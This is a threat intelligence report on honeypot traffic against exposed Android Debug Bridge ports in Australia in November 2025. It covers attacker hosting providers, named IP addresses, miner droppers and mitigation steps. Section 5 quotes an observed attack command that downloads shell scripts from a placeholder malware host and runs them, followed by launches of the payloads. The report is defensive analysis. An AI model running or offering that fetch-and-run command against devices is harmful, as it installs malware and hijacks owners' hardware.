Threat Intelligence Report:

ADBHoney → Attacker IPs – Australia – November 2025

---

1. Executive Summary

If you left an Android Debug Bridge (ADB) port exposed in Australia this November, you weren’t just asking for trouble—you published an open invitation for the botnet goblins to hold a barbecue in your /data/local/tmp. Analysis of ADBHoney honeypot traffic for November 2025 shows the usual suspects running amok, led by Mirai’s less sophisticated but equally loud Android cousin: ADB.Miner. Infrastructure varies from “oops, forgot to lock down our cloud VM” all the way to “industrial-scale bulletproof bot-herding.” If you aren’t explicitly shipping a product that needs port 5555, it’s time to shut the gates and salt the earth.

---

2. Key Stats

• Monitoring period: November 2025
• Honeypot Location: Australia
• Primary Target: TCP/5555 (ADB)
• Event count per aggressive node: Up to 1,700+ events per single host
• Total unique attacker IPs captured: Dozens, geographically diverse
• Noteworthy ASNs: Pfcloud UG (NL), ColocaTel (DE), Optibounce (IR), DigitalOcean, Google Cloud, Akamai
• Observed TTPs:
  • Mirai-style scanning and infection
  • Mass download/execution of dropper scripts
  • Common payloads: trinity, log, generic shell droppers
  • Coinminer heritage, no command-and-control detected
• Malware file hashes captured: 30+ new SHA-256s for dropper binaries

---

3. Campaign Narrative

Here lies November’s grand tradition: mindless botnets rising from the malware bog to probe ADB/5555 and slop malware into any device that blinks in response. The heaviest action comes courtesy of bulletproof rental nodes out of the Netherlands and Germany (Pfcloud UG, ColocaTel, and kin), each vomiting hundreds to thousands of grossly similar ADB script drops and shell command attempts. Want your Android turned into a Monero mine shaft? This is how it starts.

The story is simple and repetitive: scan, find a sucker with ADB exposed, then spam wget/curl commands to drag down shell scripts and payloads (trinity, log, whatever is in fashion this week). Indie cloud VMs—DigitalOcean, Google, Akamai—get rented for drive-by scans. The main payload is still crypto-cowboy stuff, usually mining, all wrapped up in the wormy, Mirai-derived “push-and-pray” model.

The only thing missing is a C2 server with a neon sign. This campaign is a dumb, loud, and brutal army, not a stealth operation.

---

4. Infrastructure Details

Bulletproof Hosting and Heavy Hitters

• Pfcloud UG (NL), ColocaTel (DE), Optibounce (IR): Main payload artillery. Massively overrepresented in events, seen pushing scripts and cleaning up their temp folders like digital raccoons. Example IPs: 176.65.148.34 (245 events), 176.65.149.243 (223 events), 193.142.147.209 (1717 events, just showing off at this point).

Cloud Platforms (Disposable Minion Tier)

• DigitalOcean, Google Cloud, Akamai: Rent-a-node for opportunistic scanning. Moderate noise, likely to be tossed and re-registered faster than you can say “password123”.

Asia-based ISPs

• Vietnamese ISPs, Korea Telecom: In the middle tier. Show both scanning and actual payload deployment. A few do get creative with shell script chains.

Actual Malware Hosting

• Notably: 61.3.102.238 (National Internet Backbone, IN) flagged as malware_hosting—the greasy kitchen behind the ADB drive-thru.

Research Scanners (or, Actually, Not)

• None found—everyone here is genuinely misbehaving, not just poking in the name of science.

---

5. Malware and Behaviour

We’re in well-trodden Mirai country. Here’s the modus operandi, summed up:

• Recon: Blasting every Australian ADB port they can find, always on TCP/5555.

• Execution:

  • Hits with commands like:

    cd /data/local/tmp/; busybox wget http://<malware_host>/w.sh; sh w.sh; curl http://<malware_host>/c.sh; sh c.sh; wget http://<malware_host>/wget.sh; sh wget.sh
    

  • Launches binaries, e.g. nohup /data/local/tmp/trinity or nohup log
  • Survives reboots, sticks to tmp, could install a miner or worm.

• Payload: Not many creative samples here—just dozens of nearly identical droppers, hashes all over the shop, but the MO is clear. No C2 channel observed, it’s “smash and grab” for hashing power.

References for the curious:

• netlab.360 research: Early warning – ADB.Miner is now rapidly spreading
• HKCERT report
• Sensorstechforum: Wormable ADB miner

---

6. Detection and Mitigation

If you’re still exposing ADB to the internet, you need to have a long, hard think about your life choices.

• Block or strictly limit inbound 5555/TCP anywhere not explicitly needed.
• Monitor for:
  • Inbound connections from any IPs listed herein (Pfcloud, ColocaTel, etc.)
  • New files/scripts in /data/local/tmp/, especially named trinity, log, or after a forced package update.
• Hunt for signs of infection:
  • Unusual CPU spikes (mining).
  • Suspicious running procs: nohup log, nohup trinity, anything in /data/local/tmp.
• Submit captured SHA-256s to sandboxes (VirusTotal, JoeSandbox, OTX) for behavioral clustering.
• Report abuse for cloud IPs (DigitalOcean, Google, Akamai) but don’t count on them fixing it before lunch.
• Blacklist high-volume, persistent bulletproof ASNs—they are poison for IoT, today and tomorrow.

---

7. Closing Thoughts

This campaign is the cyber equivalent of seagulls at a beach picnic: directionless, noisy, and ever-present. If your Android devices are still answering calls on 5555/TCP, you’re not defending, you’re feeding the flock. The attackers are not targeting you personally—they just want your box, your CPU, and your bandwidth for their little crypto dreams.

Block, monitor, cleanse. Above all, get ADB off the internet unless you enjoy hosting free compute for someone in a bulletproof hosting swamp. This is not a drill. These aren’t research pokes. This is automated, opportunistic abuse, and every day you don’t remediate, the mess grows.

Good luck out there—remember, every port 5555 left open is another invitation for goblin shenanigans.